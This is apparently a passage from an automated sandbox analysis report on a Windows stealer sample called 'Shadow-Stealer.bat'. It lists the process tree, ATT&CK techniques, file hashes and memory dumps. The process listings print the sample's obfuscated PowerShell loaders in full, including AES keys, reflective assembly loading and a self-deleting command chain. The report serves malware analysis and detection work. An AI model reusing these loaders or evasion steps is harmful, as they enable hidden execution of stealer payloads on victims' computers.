[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8G4arHTtORWkqMdtdm7CA=');$tgmGC = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tgmGC, 0, $tgmGC.Length);$tgmGC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tgmGC);$zvkCv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JVVxi793TWK0eiazbMjyxQ==');$zvkCv = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zvkCv, 0, $zvkCv.Length);$zvkCv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zvkCv);$MrvyW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y9CiMcnIF08D1mbStDfFzg==');$MrvyW = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MrvyW, 0, $MrvyW.Length);$MrvyW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MrvyW);$UFhRe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4Gkz3kktZWs5v4iY/fwpuA==');$UFhRe = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UFhRe, 0, $UFhRe.Length);$UFhRe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UFhRe);$BdNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWujaRBJ7Bka6/SLPc2zjg==');$BdNHQ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BdNHQ, 0, $BdNHQ.Length);$BdNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BdNHQ);$NXCWg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JS1eCTl+J3Vy2lPum4BV+A==');$NXCWg = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NXCWg, 0, $NXCWg.Length);$NXCWg = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NXCWg);$UMIrZ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xun+s5YVAeQzgGPJKptAJw==');$UMIrZ0 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ0, 0, $UMIrZ0.Length);$UMIrZ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ0);$UMIrZ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tKxTd8rUmwwPDWYqtJ+flg==');$UMIrZ1 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ1, 0, $UMIrZ1.Length);$UMIrZ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ1);$UMIrZ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwPWmxWc7oP0xMzohMzOyA==');$UMIrZ2 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ2, 0, $UMIrZ2.Length);$UMIrZ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ2);$UMIrZ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('00EoyZz50MzeF+YVDb5OyQ==');$UMIrZ3 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ3, 0, $UMIrZ3.Length);$UMIrZ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ3);$qsFQP.Dispose();$xCaUG1.Dispose();if (@(get-process -ea silentlycontinue $UMIrZ3).count -gt 1) {exit};$dINWW = [Microsoft.Win32.Registry]::$BdNHQ.$UFhRe($UMIrZ).$MrvyW($PYyQA);$QJXfU=[string[]]$dINWW.Split('\');$flTmo=nnKof(VOHZF([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[1])));vzvJZ $flTmo (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$iBTnS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[0]);$xCaUG = New-Object System.Security.Cryptography.AesManaged;$xCaUG.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$CTnvz = $xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')();$iBTnS = $CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBTnS, 0, $iBTnS.Length);$CTnvz.Dispose();$xCaUG.Dispose();$ABMbT = New-Object System.IO.MemoryStream(, $iBTnS);$FswzF = New-Object System.IO.MemoryStream;$ZWQus = New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::$UMIrZ1);$ZWQus.$NXCWg($FswzF);$ZWQus.Dispose();$ABMbT.Dispose();$FswzF.Dispose();$iBTnS = $FswzF.ToArray();$JJwWP = $tgmGC | IEX;$kXIpu = $JJwWP::$UMIrZ2($iBTnS);$OPPDg = $kXIpu.EntryPoint;$OPPDg.$UMIrZ0($null, (, [string[]] ($roofG)))
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4644

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{236e4437-6056-4442-bb00-19bac937dd1c}
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:820

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{6e400a3a-76f9-47e7-a353-e1941bb5f750}
5⤵
PID:6220

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{98b8ef72-dde1-484e-898b-dbc785d25d91}
5⤵
PID:6248

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{e1d21d3d-9360-4d44-ba1e-bce4801e7765}
5⤵
PID:5456

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{a87988be-a3e5-471d-8f10-94a78c7dcfad}
5⤵
PID:5480

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{bd6489aa-bde6-491c-9273-d04bf96a9cbd}
5⤵
PID:5196

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{69d4258e-3fa4-4da9-95f3-5c80781525ee}
5⤵
PID:6552

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{07a2f2ed-4566-4aa7-9f89-abda71c67bba}
5⤵
PID:6364

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{3c133fea-7c12-495b-bdc6-2be4d8b53b9b}
5⤵
PID:6600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1408

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1552

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1864

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2080

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2284

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2736

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2836

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2948

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3468

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of UnmapMainImage
PID:3580

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Shadow-Stealer.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:1560

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:2588

C:\Users\Admin\AppData\Local\Temp\Shadow-Stealer.bat.exe
"Shadow-Stealer.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function pXqKy($AMMuC){ $QAuMi=[System.Security.Cryptography.Aes]::Create(); $QAuMi.Mode=[System.Security.Cryptography.CipherMode]::CBC; $QAuMi.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $QAuMi.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('loy14lThS3SgWk7zmlM+U1LaSbD9l9+GRTu5mLzp2mM='); $QAuMi.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lS2YpgJeBrTrEw/fJyL2OQ=='); $LSyot=$QAuMi.CreateDecryptor(); $return_var=$LSyot.TransformFinalBlock($AMMuC, 0, $AMMuC.Length); $LSyot.Dispose(); $QAuMi.Dispose(); $return_var;}function YaPup($AMMuC){ $BpqPy=New-Object System.IO.MemoryStream(,$AMMuC); $MUxyL=New-Object System.IO.MemoryStream; $QRzEr=New-Object System.IO.Compression.GZipStream($BpqPy, [IO.Compression.CompressionMode]::Decompress); $QRzEr.CopyTo($MUxyL); $QRzEr.Dispose(); $BpqPy.Dispose(); $MUxyL.Dispose(); $MUxyL.ToArray();}function dAvUr($AMMuC,$oAPri){ $TIrdu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$AMMuC); $cmozY=$TIrdu.EntryPoint; $cmozY.Invoke($null, $oAPri);}$agzCo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Shadow-Stealer.bat').Split([Environment]::NewLine);foreach ($xWgWP in $agzCo) { if ($xWgWP.StartsWith('SEROXEN')) { $gZeLJ=$xWgWP.Substring(7); break; }}$paQQY=[string[]]$gZeLJ.Split('\');$ahdVx=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[0])));$qbiwj=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[1])));dAvUr $qbiwj (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));dAvUr $ahdVx (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Deletes itself
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4072

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{ec40a4be-fbe4-4bf2-afc8-e2dd7822e8c8}
4⤵
PID:3320

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{664f2df4-c628-4a82-9a7e-d01bee16d15d}
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:864

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{490a8113-5b2e-4b2a-911a-48d59c354fc0}
4⤵
PID:1108

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Shadow-Stealer.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Shadow-Stealer.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\Shadow-Stealer.bat.exe" & exit
4⤵
PID:6736

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
- Suspicious use of SetWindowsHookEx
PID:6776

C:\Windows\system32\PING.EXE
PING localhost -n 8
5⤵
- Runs ping.exe
PID:6692

C:\Windows\system32\taskkill.exe
taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Shadow-Stealer.bat.exe"
5⤵
- Kills process with taskkill
PID:7060

C:\Windows\system32\attrib.exe
ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Shadow-Stealer.bat.exe"
5⤵
- Views/modifies file attributes
PID:6800

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
2⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3688

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3892

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4048

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:4168

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:492

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1828

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:2344

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3348

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3308

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2888

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:244

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4568

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5008

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe de5d64a4b0d3d1dd916f4ae83a815353 aJ+tJbuBt0eKjYKPz0dKUg.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:3444

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
2⤵
PID:5044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:1032

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Enumerates system info in registry
PID:1632

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:2340

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:3176

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Remote System Discovery

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Shadow-Stealer.bat.exe
Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sy3g0b0e.uju.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe
Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe
Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/332-118-0x000001F37C070000-0x000001F37C097000-memory.dmp

Filesize
156KB

Download
memory/332-121-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/392-131-0x000001FB78780000-0x000001FB787A7000-memory.dmp

Filesize
156KB

Download
memory/448-100-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/448-110-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/448-101-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/448-102-0x00007FFDCA9D0000-0x00007FFDCAA8E000-memory.dmp

Filesize
760KB

Download
memory/448-99-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/548-135-0x0000027C8BD60000-0x0000027C8BD87000-memory.dmp

Filesize
156KB

Download
memory/616-119-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/616-114-0x00000204DCC60000-0x00000204DCC87000-memory.dmp

Filesize
156KB

Download
memory/616-112-0x00000204DCC30000-0x00000204DCC52000-memory.dmp

Filesize
136KB

Download
memory/688-123-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/688-115-0x000001A5A0380000-0x000001A5A03A7000-memory.dmp

Filesize
156KB

Download
memory/820-108-0x0000000003410000-0x000000000342A000-memory.dmp

Filesize
104KB

Download
memory/820-103-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
